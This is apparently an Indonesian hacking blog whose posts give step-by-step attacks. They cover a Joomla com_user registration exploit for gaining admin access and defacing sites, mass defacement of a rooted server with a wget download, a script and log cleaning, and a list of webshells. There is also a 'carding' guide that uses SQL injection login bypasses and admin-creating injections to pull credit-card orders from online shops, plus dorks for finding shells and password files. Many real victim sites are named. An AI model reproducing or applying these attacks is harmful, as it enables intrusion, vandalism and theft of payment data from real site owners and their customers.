Com_User Exploit Defaceing

ehm,, jumpa lagi nih dengan coretan2 semerawut ane tapi ngangenin untuk dibaca,, wkkwkwk yo dah, dah pasti pada ga sabar kan udah nunggu dari kemaren?? wkwkwk langsung daaahh :pSilahkan tutorial ini di baca dulu baik2, dipahami dan dipelajari, baru dah sobat praktekin :p kalo seandainya gagal, itu karena website udah di patch :p

"Talk Less Do More!" :p

oke dah simak nih! sebelumnya download dulu bahan2nya :p

1. Download : Exploit Joomla.html    Password: Lihat

UPDATE:

Ciri2 web yg vuln com_user, silahkan sobat check dulu login adminnya, jika seperti gambar dibawah, berarti web tersebut memungkinkan untuk bisa di exploitasi, selain itu tidak bisa...

Contoh :
http://troytradingint.com.pe/administrator/

bira lebih memudahkan sobat dalam mencari web target, silahkan gunakan Tool Scanner Com User

Demo:
http://troytradingint.com.pe/
http://www.uog.edu.pk/
http://www.trexperts.com/jeffreytmiller/

Note: "Tidak semua website bisa dengan teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"

Langkah Langkah::

1. Cari web target di Google.com dengan memasukkan Dork berikut:

intext:Joomla! is a flexible and powerful platform, whether you are building a small site for yourself or a huge site with hundreds of thousands of visitors site:com

#Dork Kembangin Sendiri :p

2. Pilih target sobat, lalu masukin exploit berikut:

index.php?option=com_users&view=registration

3. Ane disini mengambil contoh:

http://mobile.resto-lincontournable.com/index.php/utiliser-joomla/utiliser-extensions/composants/composant-flux-rss/un-flux-rss

4. kemudian ane ganti menjadi:

http://mobile.resto-lincontournable.com/index.php?option=com_users&view=registration

5. Setelah itu klik kanan>klik View Page Source atau bisa juga tekan tombol keyboard CTRL+U

kalo sudah muncul page sourcenya, lalu tekan tombol CTRL+F atau klik menu Find ketik hidden. cari seperti kode berikut:

6. Copy kode tersebut, lalu buka Exploit Joomla.html yang udah sobat download tadi dengan Notepad, lalu pastekan kode tersebut, dan masukkan juga site target dan Email sobat! liat gambar !

Note: username, email, boleh diganti sesuka hati.

7. Lalu Save! Setelah itu buka file Exploit Joomla.html nya, Klik Register!

8. Setelah itu akan muncul peringatan bahwa password harus diisi sama! Masukkan password sobat!

9. Setelah password diisi, klik Register! lalu buka email sobat dan klik link Konfirmasinya!

10. Lalu masuk kehalaman admin login nya! 

http://mobile.resto-lincontournable.com/administrator

11. Masukkan Username & Passwordnya! lalu klik Login! kalo contoh disini:

Username:genesis
Password:onix

Tararaaaaaaaaaaaaaa!! Sobat masuk sebagai admin! trus tebas deh index nya :p Liat Cara Tebas Index

KALO GA BERHASIL LOGIN SEBAGAI ADMIN, SILAHKAN CARI TARGET LAINNYA!!

Goodluck!!! :p

udah gitu aja! Salam........ :p

Content Created By Onix AQua

By: Unknown On 01.16

Continue Reading

Manual Mass Deface By Gebie

Buat yang master, lewatin aja, nih tutorial buat yang baru belajar aja kayak saya...
langsung aja,.. dsini saya asumsikan kalian sudah punya root sendiri2,..
ok,. sekarang kita login di putty dan masukan ip server dan port yang mau kita mass deface,..


sekarang kita masuk ke "etc/httpd/conf" untuk mengambil semua nama website n user yang ada di sever.. kita masukan comand berikut :

PHP Code:

cd /etc/httpd/conf 

setelah itu kita ambil semua nama web yg ada di server dan mengcopy'a di shell kita dengan nama "web.txt" (terserah sih mau pke nama apa)
comand'a :

PHP Code:

cat httpd.conf | grep -i ServerName > /home/NamaUser/public_html/web.txt 

untuk NamaUser, klian bisa lihat di shell kalian masing2...



sekarang kita ambil lagi nama2 user'a, kemudian copy semua user yg ada di dalam user.txt ke notepad..
comand'a :

PHP Code:

cat httpd.conf | grep -i DocumentRoot > /home/NamaUser/public_html/user.txt 

setelah itu kita kembali ke dir root, dan buat dir baru (terserah mau pke nama dir apa, disini saya pke nama dir bie) dan kita masuk ke dir baru yg kita buat itu, dan kita download deface page kita ke dalam dir yg baru kita buat itu,..
comand'a :

PHP Code:

cd /root; mkdir bie; cd bie
wget http://blablabla.com/deface.html 

ok,. kita sudah pnya deface page, sekarang kita buat file mass.sh kita dulu,..
ganti semua tulisan "DocumentRoot" dengan "cp defacepage.html" disni yg perlu kita perhatikan, bila kita mau taruh file deface kita di index, mka kita menggunakan "cp index.html" bila gak, klian bisa mengganti'a dengan nama file yg lain,.. disini aku pke "bie.htm"


kemudian kembali ke putty kita, ketik comand "nano mass.sh" lalu copas semua nama users yg sudah kita ganti tadi, setelah itu ketik control "o", enter, trus control "x" untuk kmbali


berikan perm 777 pada mass.sh kita, lalu jalankan mass.sh kita

PHP Code:

chmod 777 mass.sh; ./mass.sh 

yep,.. selese mass deface'a,..
sekarang kembali ke dir root, lalu hapus dir baru yang kalian bikin tadi
lalu jalankan log cleaner kalian, trus exit..


terkhir, kita ganti semua tulisan "SeverName" dengan "http://"


log cleaner bisa klian dapet dsini : http://pastebin.com/Csfw9BrY

By: Unknown On 00.57

Continue Reading

Xpad Multi Editor Plus Aka Notepad

Author By : Me Shandy Afrian & Yogi Nax's Czr

Features :

[=]Syntax Highlighting and Syntax Folding
[=]User Defined Syntax Highlighting and Folding
[=]PCRE (Perl Compatible Regular Expression) Search/Replace
[=]GUI entirely customizable: minimalist, tab with close button, multi-line tab, vertical [=]tab and vertical document list
[=]Document Map
[=]Auto-completion: Word completion, Function completion and Function parameters hint
[=]Multi-Document (Tab interface)
[=]Multi-View
[=]WYSIWYG (Printing)
[=]Zoom in and zoom out
[=]Multi-Language environment supported
[=]Bookmark
[=]Macro recording and playback
[=]Launch with different arguments

Download Link :
http://www.mediafire.com/?qyaos7kwp2t9t57
Password : 123456
Mirror Link : http://www.4shared.com/rar/ZBNape8J/XPadME_Plus_V01.html?

By: Unknown On 05.22

Continue Reading

Download Kumpulan Shell Lengkap

C99Shell v. 1.0 beta

Cyber Shell PHP

GFS Web-Shell PHP

NFM 1.8 PHP

r57shell PHP

Small Web Shell by ZaCo PHP

nsTView v2.1 PHP

DxShell v1.0 PHP

C99madShell v. 2.0 madnet edition PHP

CTT Shell PHP

GRP WebShell 2.0 release build 2018 (C)2006,Great PHP

Crystal shell PHP

Loaderz WEB Shell PHP

NIX REMOTE WEB SHELL PHP

Antichat Shell PHP

CasuS 1.5 PHP

Sincap 1.0 PHP

C99Shell v. 1.0 pre-release build(safe-mode) PHP

hiddens shell v1 PHP

Web-shell (c)ShAnKaR PHP

Predator PHP

KA_uShell 0.1.6 PHP

NGH PHP

Antichat Shell. Modified by Go0o$E PHP

c0derz shell [csh] v. 0.1.1 release PHP

iMHaBiRLiGi Php FTP PHP

PHVayv PHP

phpRemoteView PHP

STNC WebShell v0.8 PHP

MyShell PHP

ZyklonShell PHP

AK-74 Security Team Web Shell Beta Version PHP

Gamma Web Shell Perl-Cgi

go-shell Perl-Cgi

PhpSpy Ver 2006 Perl-Cgi

CmdAsp.asp.txt ASP

CyberSpy5.Asp.txt ASP

klasvayv.asp.txt ASP

indexer.asp.txt ASP

NTDaddy v1.9 ASP

reader.asp.txt ASP

RemExp.asp.txt ASP

zehir4.asp.txt ASP

Elmaliseker.txt ASP

EFSO_2.txt ASP

accept_language PHP

Ajax_PHP Command Shell PHP

Antichat Shell v1.3 PHP

Ayyildiz Tim -AYT- Shell v 2.1 Biz PHP

aZRaiLPhp v1.0 PHP

backupsql PHP

c99 PHP

c99_locus7s PHP

c99_madnet PHP

c99_PSych0 PHP

c99_w4cking PHP

Crystal PHP

ctt_sh PHP

cybershell PHP

dC3 Security Crew Shell PRiV PHP

Dive Shell 1.0 - Emperor Hacking Team PHP

DTool Pro PHP

Dx PHP

GFS web-shell ver 3.1.7 - PRiV8 PHP

gfs_sh PHP

h4ntu shell [powered by tsoi] PHP

iMHaPFtp PHP

ironshell PHP

JspWebshell 1.2 PHP

lamashell PHP

load_shell PHP

matamu PHP

Moroccan Spamers Ma-EditioN By GhOsT PHP

Mysql interface v1.0 PHP

MySQL Web Interface Version 0.8 PHP

mysql PHP

mysql_tool PHP

NCC-Shell PHP

NetworkFileManagerPHP PHP

NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version PHP

nshell PHP

nstview PHP

PHANTASMA PHP

PHP Shell PHP

php-backdoor PHP

php-include-w-shell PHP

pHpINJ PHP

PHPJackal PHP

Private-i3lue PHP

pws PHP

r57 PHP

r57_iFX PHP

r57_kartal PHP

r57_Mohajer22 PHP

rootshell PHP

ru24_post_sh PHP

Safe0ver Shell -Safe Mod Bypass By Evilc0der PHP

Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2 PHP

SimAttacker - Vrsion 1.0.0 - priv8 4 My friend PHP

simple_cmd PHP

simple-backdoor PHP

SimShell 1.0 - Simorgh Security MGZ PHP

SnIpEr_SA Shell PHP

Uploader PHP

WinX Shell PHP

Worse Linux Shell PHP

zacosmall PHP

CrystalShell v.1 PHP

Cyber Shell (v 1.0) PHP

DxShell.1.0 PHP

ELMALISEKER Backd00r ASP

KAdot Universal Shell v0.1.6 PHP

Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit PHP

Macker's Private PHPShell PHP

Perl Web Shell by RST-GHC PL

RedhatC99 [login=redhat-pass=root] PHP

Rootshell.v.1.0 PHP

s72 Shell v1.1 Coding PHP

By: Unknown On 10.27

Continue Reading

Carding Dork Dll FUCK

Maaf ya Kalau Acak2an lagi malas Ketik

Contoh bugs pada bentuk toko system : shopadmin

Ketik keyword google : allinurl:/shopadmin.asp
Contoh target : www.Target.com/shopadmin.asp
user : 'or'1
pass : 'or'1

Contoh bugs pada bentuk toko sistem : Index CGI

Ketik keyword google : allinurl:/store/index.cgi/page=
Contoh target : http://www.Target.com/cgi-bin/store/...short_blue.htm
Hapus short_blue.htm dan ganti dengan :./admin/files/order.log
Hasilnya:http://www.Target.com/cgi-bin/store/...iles/order.log

Contoh bugs pada bentuk toko sistem : metacart

Ketik keyword google.com : allinurl:/metacart/
Contoh target : www.Target.com/metacart/about.asp
Hapus moreinfo.asp dan ganti dengan : --> /database/metacart.mdb
Hasilnya : /www.Target.com/metacart/database/metacart.mdb

Contoh bugs pada bentuk toko sistem CShop

Ketik keyword google.com : allinurl:/DCShop/
Contoh : www.Target.com/xxxx/DCShop/xxxx
Hapus /DCShop/xxxx dan ganti dengan
/DCShop/orders/orders.txt atau /DCShop/Orders/orders.txt
Hasilnya : www.Target.com/xxxx/DCShop/orders/orders.txt

Contoh bugs pada bentuk toko sistem : EShop

Ketik keyword google.com : allinurl:/eshop/
Contoh : www.Target.com/xxxxx/eshop
Hapus /eshop dan ganti dengan : /cg-bin/eshop/database/order.mdb
Hasilnya : http://www.Target.com/.../cg-bin/esh...base/order.mdb
Download file *.mdb nya dan Buka file tsb pakai Microsoft Acces (karena untuk membaca database access.mdb sebaiknya pake ms access aja)

Contoh bugs pada bentuk toko sistem : PDshopro

Ketik keyword google.com : allinurl:/shop/category.asp/catid=
Contoh : www.Target.com/shop/category.asp/catid=xxxxxx
Hapus /shop/category.asp/catid=xxxxxx dang ganti dengan : /admin/dbsetup.asp
Hasilnya : www.Target.com/admin/dbsetup.asp
Dari keterangan diatas , kita dapati file databasenya dgn nama sdatapdshoppro.mdb
Download file sdatapdshoppro.mdb dengan merubah url nya menjadi
www.Target.com/data/pdshoppro.mdb
Buka file tsb pakai Microsoft Acces (karena untuk membaca database access.mdb sebaiknya pake ms access aja)

Contoh bugs pada bentuk toko sistem : commerceSQL

Ketik keyword google.com : allinurl:/commercesql/
Contoh : www.Target.com/commercesql/xxxxx
Hapus commercesql/xxxxx dan ganti dengan: cgi-bin/commercesql/index.cgi?page=
Hasilnya : http://www.Target.com/cgi-bin/commer...ndex.cgi?page=
Untuk melihat admin config
http://www.Target.com/cgi-bin/commer.../admin_conf.pl
Untuk melihat admin manager
http://www.Target.com/cgi-bin/commer...in/manager.cgi
Untuk melihat file log/CCnya
http://www.Target.com/cgi-bin/commer...iles/order.log

Contoh bugs pada bentuk toko sistem : Cart32 v3.5a

Ketik keyword google.com : allinurl:/cart32.exe/
Contoh : http://www.Target.net/wrburns_s/cgi-...xe/NoItemFound
Ganti NoItemFound dengan : error
Bila kita mendapati page error dg keterangan instalasi dibawahnya, berarti kita sukses!
Sekarang, kita menuju pada keterangan di bawahnya, geser halaman kebawah, dan cari bagian Page Setup and Directory Kalau dibagian tersebut terdapat list file dgn format
/akhiran.c32 berarti di site tsb. terdapat file berisi data cc
Copy salah satu file .c32 yg ada atau semuanya ke notepad atau program text editor lainnya.
Ganti string url tsb. menjadi seperti ini : http://www. Target.net/wrburns_s/cgi-bin/cart32/
Nah.., paste satu per satu, file .c32 ke akhir url yg sudah dimodifikasi tadi, dengan format
http://www.Target.com/cart32/
Contoh http://www.Target.net/wrburns_s/cgi-...RNS-001065.c32

Contoh bugs pada bentuk toko sistem : VP-ASP Shopping Cart 5.0

Ketik keyword google.com : allinurl:/vpasp/shopdisplayproducts.asp
Buka url target dan tambahkan string berikut di akhir bagian shopdisplayproducts.asp

Contoh :
http://Target.com/vpasp/shopdisplayp...39;a%25'--

Gantilah nilai dari string url terakhir dg:
: %20'a%25'--
: %20'b%25'--
: %20'c%25'--
Kalau berhasil, kita akan mendapatkan informasi username dan password admin
Untuk login admin ke http://Target.com/vpasp/shopadmin.asp
silahkan Cari sendiri data CCnya

Contoh bugs pada bentuk toko sistem : VP-ASP Shopping Cart 5.0

Ketik keyword google.com : Ketik --> allinurl:/vpasp/shopsearch.asp

Buka url target dan utk membuat admin baru, postingkan data berikut satu per satu pada bagian search engine :

Keyword=&category=5); insert into tbluser (fldusername) values
('')--&SubCategory=&hide=&action.x=46&action.y=6

Keyword=&category=5); update tbluser set fldpassword='' where
fldusername=''--&SubCategory=All&action.x=33&action.y=6

Keyword=&category=3); update tbluser set fldaccess='1' where
fldusername=''--&SubCategory=All&action.x=33&action.y=6

Jangan lupa untuk mengganti dan nya terserah kamu.
Untuk mengganti password admin, masukkan keyword berikut :

Keyword=&category=5); update tbluser set fldpassword='' where
fldusername='admin'--&SubCategory=All&action.x=33&action.y=6

Untuk login admin, ada di http://Target/vpasp/shopadmin.asp

Contoh bugs pada bentuk toko sistem : Lobby.asp

Ketik keyword google.com : allinurl: Lobby.asp
Contoh : www.Target.com/mall/lobby.asp
Hapus tulisan mall/lobby.asp dan ganti dengan : fpdb/shop.mdb
Hasilnya : www.Target.com/fpdb/shop.mdb

Contoh bugs pada bentuk toko sistem : Shopper.cgi

Ketik keyword google.com : allinurl: /cgi-local/shopper.cgi
Contoh : http://www.Target.com/cgi-local/shop...dd=action&key=
Tambah dengan :...&template=order.log
Hasilnya :
http://www.xxxxxxxx.com/cgi-local/sh...late=order.log

Contoh bugs pada bentuk toko sistem :Proddetail.asp

Ketik keyword google.com : allinurlroddetail.asp?prod=
Contoh : http://www.Target.org/proddetail.asp...ACSASledRaffle
Hapus tulisan proddtail.asp?prod=SG369
dan ganti dengan --> fpdb/vsproducts.mdb
Hasilnya : www.Target.org/fpdb/vsproducts.mdb
Contoh bugs pada bentuk toko sistem igishop

Ketik keyword google.com : inurl:"/cart.php?m="
Contoh : http://Target.com/store/cart.php?m=view.
Hapus tulisan cart.php?m=view
dan ganti dengan -->admin
Hasilnya http://Target.com/store/admin

Trus masukin username sama pass nya pake statment SQL injection

Usename : 'or"="
Password : 'or"="

setelah bisa login, cari data yang diperlukan .

Contoh bugs pada bentuk toko sistem : Index CGI

Ketik keyword google.com : allinurl:store/index.cgi/page=
Bugs : ../admin/files/order.log
Example : http://www.target.com/cgi-bin/store/...ir_Manuals.htm
masukin bugsnya : http://www.target.com/cgi-bin/store/...iles/order.log
trus copy-paste tuch log'nya di notepad biar gampang di baca

Contoh bugs pada bentuk toko sistem : Index Cart

Ketik keyword google.com : inurl:"/cart.php?m="
Bugs : Admin
ganti tulisn cart.php?m=view dengan admin
login pake SQl Injection :
username :'or"="
Passwordnya :'or"="
contoh target buat kalian :
https://www.therustybucket.biz/store/admin

Contoh bugs pada bentuk toko sistem : Index cart

Ketik keyword google.com : /ashopKart20/"
bugs : ganti tulisan yang ada didepannya ama admin/scart.mdb
example www.garrysun.com/ashopkart20/addprod.asp
Injection : selanjutnya masukin bugs di atas jadi : www.garrysun.com/ashopkart20/admin/scart.mdb
kalo berhasil loe dapet file beresktension .mdb nach file itu
tmn2 open with MS-Acces

Contoh bugs pada bentuk toko sistem : Catid

Ketik keyword google.com : /shop/category.asp/catid=
Bugs : hapus tulisan /shop/category.asp?catid=2 ganti dengan /admin/dbsetup.asp
example : www.littlesport.net/shop/category.asp?catid=2
masukin bugs menjadi : www.littlesport.net//admin/dbsetup.asp
kalo berhasil dapet file.mdb trus buka pake MS - Access tapi kalo gagal berarti
dah keduluan ma carder yang lain... cari target lain ok..??

Contoh bugs pada bentuk toko sistem : Store

Ketik keyword google.com : inurl:"/store/proddetail.asp?prod="
bugs : ganti tulisan proddetail.asp?prod= dengan fpdb/vsproducts.mdb
Example : http://www.successlink.org/store/pro...prod=SL-IP0001
masukin bugsnya www.successlink.org/store/fpdb/vsproducts.mdb
download file .mdbnya trus buka pake MS- ACCESS..

Contoh bugs pada bentuk toko sistem : Sunshop

Ketik keyword google.com : "Powered by SunShop 3.2"
Atau google dork : inurl:"/sunshop/index.php?action="
Bugs : ganti kata index.php dgn admin
kl ada peringatan java script error klik "OK" aja
Contoh buat kalian : http://www.dohertysgym.com/sunshop/index.php
ganti dengan admin http ://www.dohertysgym.com/sunshop/admin
Login pake SQL Injection :
Username : admin
Password :'or''='

Contoh bugs pada bentuk toko sistem : digishop

Ketik keyword google.com
Ketik keyword google.com : "Powered by Digishop 3.2"
Bugs : hapus tulisan cart.php?m= dengan admin
Login pake SQL Injection :
Username : 'or"="
Password : 'or"="
Contoh target :
http://uniquescrapbooks.com.au/store/admin
http://www.7footserb.com/shop/admin
https://www.tangerineclothing.com/admin

Contoh bugs pada bentuk toko sistem :Lobby

Ketik keyword google.com : inurl:"mall/lobby.asp"
bugs : ganti tulisan /mall/lobby.asp dengan fpdb/shop.mdb
example : Gem Depot Lobby Page - Search our Inventory
jadi http://www.gemdepot.com/fpdb/shop.mdb
dapat dech .mdb ===> trus klik open database JANGAN klik "convert databese" ===> klk view orders ====> trus cari orang yg pernah belanja contoh pada customer no 36 trus dimana no CCnya badKiddes....
sabar bro... masih di table customer no 36 then klik payment.

By: Unknown On 05.12

Continue Reading

Dork Untuk Carding New

Nih Google Dork buat agan yang suka colong duit orang lewat metode carding, Google Dork Carding 2012. wkwkwk check this out :

selamat bersenang-senang :D

By: Unknown On 10.45

Continue Reading

1000+ List Website Vuln target SQL Injection

kali ini ane mau posting tentang Website Vuln, udah tau kan web vuln itu apa ? itu loh web yang mempunyai kelemahan bug, ini terjadi kesalahn pada pengcodingan-nya :D ahh gak tau ane !!
mencari web vuln di internet memang gampang-gampang susah, kita mencarinya pake dork SQLi mislanya "index.php?id=" setelah angka pada id= tinggal tambahkan tanda "'", contohnya ini index.php?id=99' juga bisa tambahin tanda "-" index.php?id=99-
ohh iya buat Newbie kaya saya yang ingin belajar deface gak perlu repot-repot cari web vuln, ini udah anee siapin ! buat yang Master gak usah baca Tutor Cupu ini ! :D

Donlot :
http://www.mediafire.com/?5b52tex39aqr1gc

Semoga Bermanfaat :D 

By: Unknown On 02.34

Continue Reading

Defaceing Melalui Google Private Dork

Gan Ane Mau Share Nih Ilmu Terbaru Gan
Nih Dork Private Google Lumayun Lah Buat Defac3 Defac3an hehhe










Dork Nya DI bawah Ini gan
+++++++++++++++++++++++++++++ + Dorks for finding shells: + +++++++++++++++++++++++++++++ inurl:.php “cURL: ON MySQL: ON MSSQL: OFF” “Shell” filetype:php intext:”uname -a:” “EDT 2010? intitle:”intitle:r57shell” [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ] inurl:”c99.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout inurl:”c100.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout intitle:”Shell” inurl:”.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update 
++++++++++++++++++++++++++++++++ + Dorks for finding Passwords: + ++++++++++++++++++++++++++++++++ filetype:htpasswd htpasswd intitle:”index of” “.htpasswd” -intitle:”dist” -apache -htpasswd.c index.of.private (algo privado) intitle:index.of master.passwd inurlasslist.txt (para encontrar listas de passwords) intitle:”index of..etc” passwd intitle:admin intitle:login “incorrect syntax near” (sql script error) intitle:”the page cannot be found” inetmgr (debilidad en iis4) intitle:index.of ws_ftp.ini “supplied arguments is not a valid postgresql result” (possible debilidad sql) _vti_pvt password intitle:index.of (frontpage) inurl:backup intitle:index.of inurl:admin “index of /backup” index.of.password index.of.winnt inurl:”auth_user_file.txt” “index of /admin” “index of /password” “index of /mail” “index of /” +passwd index of /” +.htaccess index of ftp +.mdb allinurl:/cgi-bin/ +mailto allintitle: “index of/admin” allintitle: “index of/root” allintitle: sensitive filetype:doc allintitle: restricted filetype :mail allintitle: restricted filetype:doc site:gov administrator.pwd.index authors.pwd.index service.pwd.index filetype:config web gobal.asax index inurlasswd filetype:txt inurl:admin filetypeBig Grinb inurl:iisadmin inurl:”auth_user_file.txt” inurl:”wwwroot/*.” allinurl: winnt/system32/ (get cmd.exe) allinurl:/bash_history intitle:”index of” .sh_history intitle:”index of” .bash_history intitle:”index of” passwd intitle:”index of” people.1st intitle:”index of” pwd.db intitle:”index of” etc/shadow intitle:”index of” spwd intitle:”index of” master.passwd intitle:”index of” htpasswd intitle:”index of” members or accounts intitle:”index of” user_carts or user _cart

By: Unknown On 23.44

Continue Reading